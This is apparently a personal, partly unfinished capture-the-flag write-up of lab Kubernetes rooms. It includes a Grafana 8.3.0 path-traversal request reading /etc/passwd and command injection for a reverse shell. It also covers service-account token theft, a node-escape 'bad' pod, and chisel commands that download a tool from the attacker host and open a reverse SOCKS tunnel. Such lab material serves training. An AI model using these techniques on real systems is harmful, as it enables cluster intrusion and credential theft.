To access a cluster, you need to know the location of the K8s cluster and have credentials to access it. Compromise the cluster and best of luck.Use Nmap to find open ports and gain a foothold by exploiting a vulnerable service. If you are new at Nmap, take a look at the Nmap room.
Task2: Your Secret Crush
If you want to keep a secret, you must also hide it from yourself. Find the secret!
Scan IP with fscan or nmap
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kali)-[/home/kali] └─# nmap 10.10.239.222 Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-06 08:57 EST Nmap scan report for bogon (10.10.239.222) Host is up (0.28s latency). Not shown: 996 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 111/tcp open rpcbind 3000/tcp open ppp 5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 3.06 seconds
Port 3000 is the Grafana application. version 8.3.0 with Arbitrary file read vulnerability
the network is so slow.
1 2 3 4 5 6 7 8 9
GET /public/plugins/gettingstarted/../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host: 10.10.239.222:3000 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: redirect_to=%2F Connection: close
K0s(k8s lightweight version), kine(etcd), and docker
The method was adopted to drag the etcd database to the local and then analyze it. And the data in etcd is not encrypted in the default configuration.
the databse path is /var/lib/k0s/db/state.db
………….write later….go to sleep…….
Insekube
Task1: Introduction
The learning objectives for this room are:
Interacting with the cluster using kubectl
Reading Kubernetes secrets
Doing recon inside the cluster
Switching service accounts to escalate your privileges
Lateral movement into other workloads
Gaining access to the Kubernetes nodes
We assume basic knowledge of the Kubernetes architecture and some experience running Kubernetes administration tools like kubectl.
Disclaimer: Due to this room running on a VM it uses minikube which is not exactly the same as running a fully fledged Kubernetes cluster so you might experience some minor differences with a real cluster.
This machine can take a while to boot up (Give it 5 or 6 minutes)
Scan the machine. (If you are unsure how to tackle this, I recommend checking out the Nmap room)
Task2: RCE
Visit the website, it takes a host and returns the output of a ping command.
Use command injection to get a reverse shell. For more information on command injection attacks take a look at this room
You will find the flag in an environment variable.
Task3: Interacting with kubernetes
Kubernetes exposes an HTTP API to control the cluster. All resources in the cluster can be accessed and modified through this API. The easiest way to interact with the API is to use the kubectl CLI. You could also interact with the API directly using curl or wget if you don’t have write access and kubectl is not already present, Here is a good article on that.
The kubectl install instructions can be found here. However, the binary is located in the /tmp directory. In the event you run into a scenario where the binary is not available, it’s as simple as downloading the binary to your machine and serving it (with a python HTTP server for example) so it is accessible from the container.
Now let’s move to the /tmp directory where the kubectl is conveniently located for you and try the kubectl get pods command. You’ll notice a forbidden error which means the service account running this pod does not have enough permissions.
Task4: Kubernetes Secrets
Kubernetes stores secret values in resources called Secrets these then get mounted into pods either as environment variables or files.
You can use kubectl to list and get secrets. The content of the secret is stored base64 encoded.
You will find flag 2 in a Kubernetes secret.
Task5: Recon in the cluster
Some interesting Kubernetes objects to look for would be nodes, deployments, services, ingress, jobs… But the service account you control does not have access to any of them.
However, by default Kubernetes creates environment variables containing the host and port of the other services running in the cluster.
Running env you will see there is a Grafana service running in the cluster.
Task6: Lateral Movement
Kubernetes stores the token of the service account running a pod in /var/run/secrets/kubernetes.io/serviceaccount/token.
Use the LFI vulnerability to extract the token. The token is a JWT signed by the cluster.
Use the --token flag in kubectl to use the new service account. Once again use kubectl to check the permissions of this account.
Task7: Escape to the node
You can now close the Grafana pod shell and continue using the first one since it is more stable.
Having admin access to the cluster you can create any resources you want. This article explains how to get access to the Kubernetes nodes by running a pod that mounts the node’s file system.
You can create a “bad” pod based on their first case example. You will need a slight modification because the VM does not have an internet connection, therefore it is not able to pull the ubuntu container image. The image is available in minikube’s local docker registry therefore you just need to tell Kubernetes to use the local version instead of pulling it. You can achieve this by adding imagePullPolicy: IfNotPresent to your “bad” pod container. Once that is done you can run kubectl apply to create the pod. Then kubectl exec into the new pod, you will find the node’s file system mounted on /host.
ports 80,22 are open
visit url 10.10.167.47:80, as shown below
the network speed is too slow, we try curl access.
the environment variable leaked the Grafana address, version 8.3.0-beta2 (8d74cc357). Set up a proxy and use exp to read the serviceaccount token, 10.105.120.1
1 2 3
cd /home/kali/Desktop && python3 -m http.server 8080 ./chisel server -p 28190 --reverse
1 2 3 4 5
curl -o /tmp/chisel http://10.9.155.83:8080/chisel cd /tmp && chmod +x chisel ./chisel client 10.9.155.83:28190 R:0.0.0.0:28191:socks vim /etc/proxychains4.conf proxychains4 -f /etc/proxychains4.conf python3